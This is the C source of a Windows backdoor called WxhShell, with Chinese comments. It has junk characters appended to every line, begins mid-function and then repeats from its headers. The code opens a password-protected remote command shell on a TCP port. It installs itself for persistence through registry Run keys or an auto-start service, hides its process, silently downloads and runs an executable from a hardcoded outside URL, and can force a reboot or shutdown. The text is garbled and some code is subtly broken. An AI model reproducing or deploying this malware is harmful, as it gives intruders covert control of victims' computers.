    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <l(n)|H1P  
    else { 2TU V9Z  
    closesocket(wsh); w i[9RD@  
    ExitThread(0); FY^2 Y  
    } ?TeozhUY  
    break; "]#Ij6ml  
    } e$Ksn_wEq  
  // 获取shell vqSpF6F q  
  case 's': { z&6_}{2,]  
    CmdShell(wsh); IrMH AM5K  
    closesocket(wsh); G-d7}Uz ?  
    ExitThread(0); dHy9 wU  
    break; Az&>.*  
  } lU{)%4e`  
  // 退出 5(+9a   
  case 'x': { V|8'3=Z=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -G(me"Cu  
    CloseIt(wsh); NoiB9 8g  
    break; WXy8<?s  
    } A NhqS  
  // 离开 rfqwxr45h  
  case 'q': { P([!psgu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W_W!v&@E=  
    closesocket(wsh); y b hFDx  
    WSACleanup(); D0Dz@25-  
    exit(1); -8 uS#  
    break; tm~9XFQ<  
        } 0Y8gUpe3P6  
  } GHsDZ(d3.  
  } 1dN/H)]  
QLJ\>  
  // 提示信息 E=I'$*C \D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w){B$X  
} [U&k"s?  
  } dcf,a<K\  
o<nM-"yWb  
  return; SoziFI  
} fEBi'Ad  
TAYh#T=S  
// shell模块句柄 hi(b\ ABx  
int CmdShell(SOCKET sock) ;>PHkJQ  
{ A|"T8KSMB  
STARTUPINFO si; -5*OSA:8x  
ZeroMemory(&si,sizeof(si)); U^_\V BAk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3O4lG e#u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NTX0vQG  
PROCESS_INFORMATION ProcessInfo; VHqoa>U,*  
char cmdline[]="cmd"; Jb$G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "3]}V=L<5  
  return 0; ORP<?SG55u  
} _3%:m||,XP  
?5ZvvAi  
// 自身启动模式 (||qFu9a  
int StartFromService(void) Q_fgpjEh/t  
{ *XWu)>*o  
typedef struct aqqo>O3 s  
{ 1 Vc_jYO@  
  DWORD ExitStatus; NL `  
  DWORD PebBaseAddress; j+-`P5  
  DWORD AffinityMask; RuVk>(?WK%  
  DWORD BasePriority; }OnU32P  
  ULONG UniqueProcessId; PX^ k;  
  ULONG InheritedFromUniqueProcessId; Z R=[@Oi  
}   PROCESS_BASIC_INFORMATION; UMNNAX  
`{K-eHlrM9  
PROCNTQSIP NtQueryInformationProcess; z8S]FpM6  
z]%@r 7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =,ax"C?pR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O SUiS`k  
GwDOxH'  
  HANDLE             hProcess; >{~xO 6H  
  PROCESS_BASIC_INFORMATION pbi; QaEiPn~  
uA =%EEZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 52# *{q}  
  if(NULL == hInst ) return 0; ziO(`"v  
MD1X1,fk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZHeue_~x4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bxxLAWQ(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (Dv GA I  
T>1#SWQ/9  
  if (!NtQueryInformationProcess) return 0; cf>lY  
.Xf_U.h$*@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @,Dnl v|?  
  if(!hProcess) return 0; 0)h.[O8@>  
: Gi8Jo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5z3WRg  
;}S_PnwC@  
  CloseHandle(hProcess); rDwd!Jet  
{P?DkUO}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <=%[.. (S  
if(hProcess==NULL) return 0; )q4nyT>M  
&``nD  
HMODULE hMod; $X.F=Kv  
char procName[255]; DtGkhq;  
unsigned long cbNeeded; a}VR>!b  
}2BNy9q@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d72 yu3  
:&z!o"K  
  CloseHandle(hProcess); t W   
Dqwd=$2%  
if(strstr(procName,"services")) return 1; // 以服务启动 5"U5^6:T  
hTby:$aCg  
  return 0; // 注册表启动 n 78!]O  
} q |Pebe=  
Z9% u,Cb  
// 主模块 t,XbF  
int StartWxhshell(LPSTR lpCmdLine) E)I&? <g  
{ V5h_uGOD  
  SOCKET wsl; c??m9=OX1  
BOOL val=TRUE; Qqb%^}Xx'u  
  int port=0; ?_uan  
  struct sockaddr_in door; VOATza`  
4TU\SP8sM  
  if(wscfg.ws_autoins) Install(); Oa@SyroF=  
'X&"(M  
port=atoi(lpCmdLine); *}(B"FSO  
`+TC@2-?  
if(port<=0) port=wscfg.ws_port; J$jLGy&'  
1,Pg^Xu  
  WSADATA data; d--6<_q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O6-';H:I]L  
DBvozTsF~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +W[{UC4b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5|bfrc  
  door.sin_family = AF_INET; Gh{9nM_\"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HPO:aGU   
  door.sin_port = htons(port); <Fl.W}?Q}  
9dp4&&Z+F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Iz#jR2:yn  
closesocket(wsl); wz:,gpH  
return 1; r:U<cL T[9  
} @v /Ae_q!  
R >[G6LOG  
  if(listen(wsl,2) == INVALID_SOCKET) { *a(GG  
closesocket(wsl); ESS1 L$y  
return 1; fE>JoQs38  
} \Q?#^<O  
  Wxhshell(wsl); j{ri]?p  
  WSACleanup(); U?:?NC=1{  
J}@.f-W\j  
return 0; &"yoJ<L  
5]3Mj*u\  
} vhU $GG8  
="g9>  
// 以NT服务方式启动 bSTTr<W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gHWsKE  %  
{ <@n3vO6  
DWORD   status = 0; 7$L*nf  
  DWORD   specificError = 0xfffffff; K1- 3!G  
~>%% kQt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gPpk0LZi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b|.<rV'BTt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8feLhWg'P  
  serviceStatus.dwWin32ExitCode     = 0; @[ '?AsO  
  serviceStatus.dwServiceSpecificExitCode = 0; ZZeF1y[q  
  serviceStatus.dwCheckPoint       = 0; /E Z -  
  serviceStatus.dwWaitHint       = 0; >+[{m<Eq  
]6WP;.[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jyRz53  
  if (hServiceStatusHandle==0) return; P[,  
Ee$F]NA  
status = GetLastError(); EuD$^#  
  if (status!=NO_ERROR) bg*@N  
{ G|UeR=/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pf&SIG  
    serviceStatus.dwCheckPoint       = 0; (%]M a  
    serviceStatus.dwWaitHint       = 0; pvM`j86 _  
    serviceStatus.dwWin32ExitCode     = status; //}KWz  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^%33&<mB}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n1y*`5!  
    return; 5pxw[c53#  
  } `S]DHxS  
- SCFWc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~=Fp0l)#  
  serviceStatus.dwCheckPoint       = 0; +Jq~39  
  serviceStatus.dwWaitHint       = 0; Ehtb`Ms  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5e c T.  
} 8H{9  
%wmbFj}  
// 处理NT服务事件,比如:启动、停止 SiT5QJe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =#?=Lh  
{ ue!wo-|#G  
switch(fdwControl) tfd!;`B  
{ dYp} R>+  
case SERVICE_CONTROL_STOP: 2D{`AJ  
  serviceStatus.dwWin32ExitCode = 0; V_H0z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SMHQh.O?5  
  serviceStatus.dwCheckPoint   = 0; 5G WC  
  serviceStatus.dwWaitHint     = 0; {9h`h08?z  
  { x /?w1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P{>-MT2E  
  } -Rr Qv(  
  return; T=T1?@2C  
case SERVICE_CONTROL_PAUSE: <ta#2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S>EO6z#   
  break; Jgzg[6  
case SERVICE_CONTROL_CONTINUE: <Lfo5:.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q+^"v]V`d  
  break; .OvH<%g!.  
case SERVICE_CONTROL_INTERROGATE: SQI =D8  
  break; s!j vBy  
}; r[kmgPld  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ve|=<7%%S  
} ey) 8q.5  
d?1[xv;  
// 标准应用程序主函数 t p3 !6I6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q-d#bKIf  
{ 4[f>kY%[  
!wEz= i  
// 获取操作系统版本 bxF'`^En  
OsIsNt=GetOsVer(); oa8xuFu(n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }Uunlz<  
ZD`0(CkXb  
  // 从命令行安装 sGFC?1r?\  
  if(strpbrk(lpCmdLine,"iI")) Install(); ($^=f}+  
`>skcvkm  
  // 下载执行文件 tJZ3P@ L  
if(wscfg.ws_downexe) { |j~{gfpSE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2/#%^,Kb2  
  WinExec(wscfg.ws_filenam,SW_HIDE); >`D$Jz,  
} _6{XqvWqb  
.V\: )\<|  
if(!OsIsNt) { s_Gf7uC  
// 如果时win9x,隐藏进程并且设置为注册表启动 hYU4%"X  
HideProc(); w2o5+G=  
StartWxhshell(lpCmdLine); "2 J2za  
} "gGv>]3  
else J+=+0{}  
  if(StartFromService()) vHxLn/  
  // 以服务方式启动 |;(0]  
  StartServiceCtrlDispatcher(DispatchTable); !Di*y$`}b  
else $VyH2+ jC  
  // 普通方式启动 zkmfu~_)  
  StartWxhshell(lpCmdLine); k<!xOg  
\XT~5N6  
return 0; a) 5;Od  
} t {RdqAF  
D0a3%LBS/2  
s2Hx ?~  
"qvJ-Y  
=========================================== >'96SE3  
\?rBtD(  
v\b@;H`  
bO\E)%zp  
-x0VvkHu  
@Zov&01  
" e:kd0)9  
4J6,_8`U  
#include <stdio.h> t~@~XI5  
#include <string.h> a2\r^fY/  
#include <windows.h> leomm+f^  
#include <winsock2.h> F9 q9BH  
#include <winsvc.h> |B/A)(c yV  
#include <urlmon.h> :r,o-D  
dpWBY3(7a  
#pragma comment (lib, "Ws2_32.lib") hAv.rjhw_  
#pragma comment (lib, "urlmon.lib") VwxLElV  
^J{tOxO=l  
#define MAX_USER   100 // 最大客户端连接数 :Mq-4U.e  
#define BUF_SOCK   200 // sock buffer .|Zt&5osI  
#define KEY_BUFF   255 // 输入 buffer FqpUw<]6s  
7 G<v<&  
#define REBOOT     0   // 重启 3iC$ "9!p  
#define SHUTDOWN   1   // 关机 Q1?09  
?YTngIa  
#define DEF_PORT   5000 // 监听端口 ,Kw]V %xOb  
Rx>>0%e.  
#define REG_LEN     16   // 注册表键长度 mFdj+ &2\  
#define SVC_LEN     80   // NT服务名长度 .uGvmD <;x  
mcB8xE  
// 从dll定义API }u aRS9d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cXY;Tw45  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A`:a T{j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W;T 5[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )o<^6Ic%7  
sQJGwZ 7  
// wxhshell配置信息 "X^<g{]  
struct WSCFG { *`rfD*  
  int ws_port;         // 监听端口 xr{Ym99E$  
  char ws_passstr[REG_LEN]; // 口令 @TQ/Z$y  
  int ws_autoins;       // 安装标记, 1=yes 0=no %ioVNbrR7  
  char ws_regname[REG_LEN]; // 注册表键名 *FktI\tS  
  char ws_svcname[REG_LEN]; // 服务名 >[Wjzg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y|)VNnWM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b*.aaOb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 33EF/k3vW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \Nt 5TG_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x(TF4W=j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (<eLj Q  
v1,#7s AW'  
}; /P*XB%y  
v`Jt+?I  
// default Wxhshell configuration Vc(4d-d5  
struct WSCFG wscfg={DEF_PORT, @& }}tALi  
    "xuhuanlingzhe", H%O\4V2s  
    1, d/7R}n^  
    "Wxhshell", e,xL~P{|  
    "Wxhshell", OJcS%-~  
            "WxhShell Service", Z< i }XCE  
    "Wrsky Windows CmdShell Service", _ p\L,No  
    "Please Input Your Password: ", teJt.VA7)  
  1, 4=^_VDlpd  
  "http://www.wrsky.com/wxhshell.exe", P\j\p =  
  "Wxhshell.exe" <Q~N9W  
    }; W#F9Qw  
.G[/4h :.  
// 消息定义模块 &>zH.6%$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kkq1:\pZ]a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 61S;M8tNv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L+8ar9es  
char *msg_ws_ext="\n\rExit."; F@u7Oel@m  
char *msg_ws_end="\n\rQuit."; s(=wG|   
char *msg_ws_boot="\n\rReboot..."; A9.TRKb=8  
char *msg_ws_poff="\n\rShutdown..."; E{orezP  
char *msg_ws_down="\n\rSave to "; ]I\GnDJ^  
l(Rn=?  
char *msg_ws_err="\n\rErr!"; |UB$^)Twb  
char *msg_ws_ok="\n\rOK!"; Uj(0M;#%o+  
JY"jj}H]|  
char ExeFile[MAX_PATH]; zKd@Ab  
int nUser = 0; PFJ$Ia|  
HANDLE handles[MAX_USER]; 5s[nE\oaG  
int OsIsNt; 3YvKHn|V"  
'#+&?6p  
SERVICE_STATUS       serviceStatus; R(wUu#n$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nQiZ6[L  
j9+4},>>CU  
// 函数声明 UGO#o`.G}  
int Install(void); [J,.?'V  
int Uninstall(void); wo@ T@Ve~  
int DownloadFile(char *sURL, SOCKET wsh); tJ^p}yxO  
int Boot(int flag); O52 /fGt  
void HideProc(void); UMGiJO\yH  
int GetOsVer(void); VRd7H.f,A6  
int Wxhshell(SOCKET wsl); IbI0".o  
void TalkWithClient(void *cs); {srP3ll P  
int CmdShell(SOCKET sock); jri"#H  
int StartFromService(void); ]DVr-f ~  
int StartWxhshell(LPSTR lpCmdLine); $XF$ n#ua  
yD3}USw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); , #)d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Af _4Z]F  
{M**a  
// 数据结构和表定义 )]P(!hW.  
SERVICE_TABLE_ENTRY DispatchTable[] = j*.;6}\o  
{ `dvg5qQ  
{wscfg.ws_svcname, NTServiceMain}, yx]9rD1cz  
{NULL, NULL} 1=)M15  
}; q94;x|63  
?%6oM  
// 自我安装 11oNlgY&  
int Install(void) tj13!Cc}e`  
{ QEr<(wM-y  
  char svExeFile[MAX_PATH]; 7a"06Et^  
  HKEY key; 1B;2 ~2X  
  strcpy(svExeFile,ExeFile); $*0-+h  
h.EI(Ev"GN  
// 如果是win9x系统,修改注册表设为自启动 9#z$GO|<  
if(!OsIsNt) { ^-"Iw y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h3@tZL#g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F vkyp"W3  
  RegCloseKey(key); &E&~9"^hQL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CTNL->  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a}y b~:TC  
  RegCloseKey(key); +9Tc.3vQ  
  return 0; a3yNd  
    } l2Sar1~1  
  } g#$ C8k  
} [^"*I.Z_  
else { t.( `$  
#tV1?q  
// 如果是NT以上系统,安装为系统服务 CP7Fe{P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (  cs  
if (schSCManager!=0) "-&K!Vfs  
{ 'FXM7D   
  SC_HANDLE schService = CreateService B'yjMY![  
  ( t(3f} ?  
  schSCManager, lx+;<la  
  wscfg.ws_svcname, {xZY4b2  
  wscfg.ws_svcdisp, 4t[7lL`Z  
  SERVICE_ALL_ACCESS, Jw]!x1rF~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Al^tM0T^  
  SERVICE_AUTO_START, uz!8=,DFw  
  SERVICE_ERROR_NORMAL, hL3up]pZ  
  svExeFile, % G= cKM  
  NULL, o ]*yI[\  
  NULL, 6$b =Tr=0  
  NULL, 0Q{lyu  
  NULL, m \)B=H!bz  
  NULL v[ iJ(C_  
  ); AY52j  
  if (schService!=0) sx#O3*'>1  
  { 8!2)=8|f  
  CloseServiceHandle(schService); ?2"g*Bak  
  CloseServiceHandle(schSCManager); p6j-8ggL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &4OJJ9S  
  strcat(svExeFile,wscfg.ws_svcname); YhH3fVM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^ |MS2'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k1z`92"  
  RegCloseKey(key); (1CP]5W  
  return 0; I%.nPOQ 8  
    } yP]>eLTSd  
  } }uDpf0;^  
  CloseServiceHandle(schSCManager); |cC3L09  
} }Cu:BD.zQ  
} (A?>U_@  
Vs"b  
return 1; gOg7:VPG  
} 7X( 2SI3m  
nT|WJ%  
// 自我卸载 XgxO:"B  
int Uninstall(void) h?TIxo:6/  
{ a?W5~?\9  
  HKEY key; K["rr/  
UwW@}cy,L  
if(!OsIsNt) { uT]$R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w~6/p  
  RegDeleteValue(key,wscfg.ws_regname); q#j[0,^ $  
  RegCloseKey(key); J0Yb_(w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B}04E^  
  RegDeleteValue(key,wscfg.ws_regname);  !y@\w  
  RegCloseKey(key); jIaaNO)  
  return 0; 1V`-D8-?  
  } ~Y43`@3H:  
} 'Qt[cW  
} >C,0}lj  
else { GpPM?  
~xG/yPl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w&IYCYK_  
if (schSCManager!=0) QV."ZhL5=  
{ %rB,Gl:)g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OR&pGoW  
  if (schService!=0) >yc),]1~  
  { Vw ;iE=L  
  if(DeleteService(schService)!=0) { [ DpOI  
  CloseServiceHandle(schService); !43nL[]  
  CloseServiceHandle(schSCManager); %x#S?GMV<  
  return 0; Hva!6vwO%O  
  } 8/2Wq~&  
  CloseServiceHandle(schService); ]|F`;}7  
  } !ldE9 .  
  CloseServiceHandle(schSCManager); ecm+33C  
} e| C2/U-  
} YQ+8lANC  
ZWGelZP~  
return 1; mmwc'-jU:  
} }vZfp5Y  
1f3g5y'z5  
// 从指定url下载文件 )2"WC\%  
int DownloadFile(char *sURL, SOCKET wsh) K:XXtG  
{ \aSc2Ml]3n  
  HRESULT hr; \Uh/(q7  
char seps[]= "/"; >l}v _k*~B  
char *token; $o9^b Z  
char *file; *} *HXE5  
char myURL[MAX_PATH]; v+E J $  
char myFILE[MAX_PATH];  l  
/p;OZf]  
strcpy(myURL,sURL); H^*[TX=#[  
  token=strtok(myURL,seps); (| O(BxS  
  while(token!=NULL) Q$Qr)mcC  
  { 6k')12~'  
    file=token; Nba1!5:M  
  token=strtok(NULL,seps); ci%$So 2#  
  } V#599-  
cl23y}J_?  
GetCurrentDirectory(MAX_PATH,myFILE); y2g)*T!m  
strcat(myFILE, "\\"); ,*Wh{)  
strcat(myFILE, file); C^JtJv  
  send(wsh,myFILE,strlen(myFILE),0); =s AOWI,8!  
send(wsh,"...",3,0); R8.@5g_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! .Pbbs%  
  if(hr==S_OK) rk+s[Qi~  
return 0; (eT9N_W  
else aEUEy:.  
return 1; v*y,PY1*  
ZdhA:}~^E  
} \Pfm>$Ib=  
Hm 0;[i  
// 系统电源模块 CW@EQ3y0  
int Boot(int flag) DBfq9%J _  
{ _B&;z $  
  HANDLE hToken; Yg!fEopLb  
  TOKEN_PRIVILEGES tkp; \J~@r1  
u~t%GIg  
  if(OsIsNt) { 'eQ*?a43  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 41C6ey  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9$sx+=(  
    tkp.PrivilegeCount = 1; rb.:(d)T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _y[B/C,q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BC%V<6JBu(  
if(flag==REBOOT) { *6(/5V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uq!d8{IMu  
  return 0; K?S5C8  
} KjV1->r#  
else { -!j5j:RR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a{I(Qh!}  
  return 0; U4NA'1yo  
} bhjJH,%_>  
  } e&pt[W}X%u  
  else { +o 6"Z)  
if(flag==REBOOT) { meD?<g4n~"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |dqAT.  
  return 0; b9 l%5a  
} F PAj}as  
else { lt C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $.Qq:(O:6  
  return 0; CDFX>>N  
} dEoW8 M#  
} om0g'Qa  
>@|XY<  
return 1; C/z0/mk  
} csv;u'  
DUs0L\  
// win9x进程隐藏模块 x1.yi-  
void HideProc(void) hLSas#B>  
{ 8Dc'"3+6  
&(X-b"2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,6T3:qkkvF  
  if ( hKernel != NULL ) k 3 oR:  
  { `yua?n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k%sh ;1.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T oK'Pd  
    FreeLibrary(hKernel); w;DRC5V>  
  } tq8rG@-C  
OYk/K70l3  
return; Ov~>* [  
} mRD'@n  
l 1Ns~  
// 获取操作系统版本 Q\GSX RP  
int GetOsVer(void) 8s<t* pI2  
{ \9jvQV/y  
  OSVERSIONINFO winfo; r| 0wIpi6Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L=-v>YL+  
  GetVersionEx(&winfo); *gL-v]V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4X:S#z  
  return 1; 8\_YP3  
  else i|OG#PsY-  
  return 0; q5ja \  
} r2xIbZ  
f-l(H="e  
// 客户端句柄模块 & 0%x6vea  
int Wxhshell(SOCKET wsl) 1usLCG>w{  
{ %Ig3udcY?  
  SOCKET wsh; C:@JLZB  
  struct sockaddr_in client; /.%AE|0+X  
  DWORD myID; ! 6: X]  
~jn~M_}K  
  while(nUser<MAX_USER) :]k`;;vh  
{ 4 .d~u@=  
  int nSize=sizeof(client); ' lMPI@C6r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >]S-a-|Bp  
  if(wsh==INVALID_SOCKET) return 1; |$a!Zx94^  
ya0D5 0m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M*lCoJ  
if(handles[nUser]==0) 0GP\*Y8  
  closesocket(wsh); x72T5.  
else Ij9ezNZT=  
  nUser++; GYK&QYi,  
  } s'yT}XQ;r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "$rmy>d  
4vbtB2  
  return 0; `hE@S |4  
} 55#s/`gd)^  
1/% g VB8  
// 关闭 socket ),]XN#jp(u  
void CloseIt(SOCKET wsh) EHqcQx`K_  
{ KBkS>0;X  
closesocket(wsh); TIre,s)_  
nUser--; urA kV#d#  
ExitThread(0); q}0xQjpo  
} Q% LQP!Kg  
8|Vm6*TY&p  
// 客户端请求句柄 , UiA?7k  
void TalkWithClient(void *cs) C)xM>M_CB  
{ 6A,-?W'\  
c#YW>(  
  SOCKET wsh=(SOCKET)cs; h k.Zn.6A'  
  char pwd[SVC_LEN]; CFyu9Al  
  char cmd[KEY_BUFF]; 95%QF;h  
char chr[1]; ;j^C35  
int i,j; +Ssu^ >D  
T5b*Ia  
  while (nUser < MAX_USER) { 1DT}_0{0Q  
l6#ms!e  
if(wscfg.ws_passstr) { s%l`XW;v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]p5]n*0X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $:D-dUr1  
  //ZeroMemory(pwd,KEY_BUFF); "{"745H5  
      i=0; CZ4Nw]dtR  
  while(i<SVC_LEN) { Q@w=Jt<  
,3~[cE<4  
  // 设置超时 Z/~7N9?m(  
  fd_set FdRead; asd3J  
  struct timeval TimeOut; LOX}  
  FD_ZERO(&FdRead); B9i< ="=p  
  FD_SET(wsh,&FdRead); O|I)HpG;  
  TimeOut.tv_sec=8; t`oH7)nut  
  TimeOut.tv_usec=0; ZtPnHs.x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |];f?1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }{S f*  
`_Fxb@"R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5nSi29C  
  pwd=chr[0]; VS ?npH  
  if(chr[0]==0xd || chr[0]==0xa) { !5zDnv  
  pwd=0; %|\Af>o4d  
  break; V~! lY\  
  } Q$XNs%7w5,  
  i++; u-%|ZSg  
    } cypb 6Q_  
yHNx,ra   
  // 如果是非法用户,关闭 socket [,86||^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _(1Shm  
} nC2e^=^  
8 LH\a.>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aTU[H~dTU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wpI_yp  
L=#nnj-  
while(1) { iPeW;=-2Wk  
&V77Wn OY  
  ZeroMemory(cmd,KEY_BUFF); +]dh`8*8>1  
=%Z5"];  
      // 自动支持客户端 telnet标准   b<E+5;u  
  j=0; x*7Q  
  while(j<KEY_BUFF) { VAnP3:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }8&?  
  cmd[j]=chr[0]; %ZbdWHO#  
  if(chr[0]==0xa || chr[0]==0xd) { u/ZV35z  
  cmd[j]=0; >O$ JS,  
  break; Ahf71YP  
  } oGvk,mh"(  
  j++; ;6AanwR6  
    }  Jk>!I\  
"J"RH:$v  
  // 下载文件 -,a@bF:  
  if(strstr(cmd,"http://")) { [~{'"-3L0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _MLbJ  
  if(DownloadFile(cmd,wsh)) Bk2j|7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Z$!:U  
  else !=bGU=^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d\-v+'d*+  
  } CEh!X=Nn  
  else { >1  %|T  
ifI0s)Pn  
    switch(cmd[0]) { FxdWJ|rN9D  
  !D|c2  
  // 帮助 7Q0vwKC8>  
  case '?': { 4Is Wp!`W  
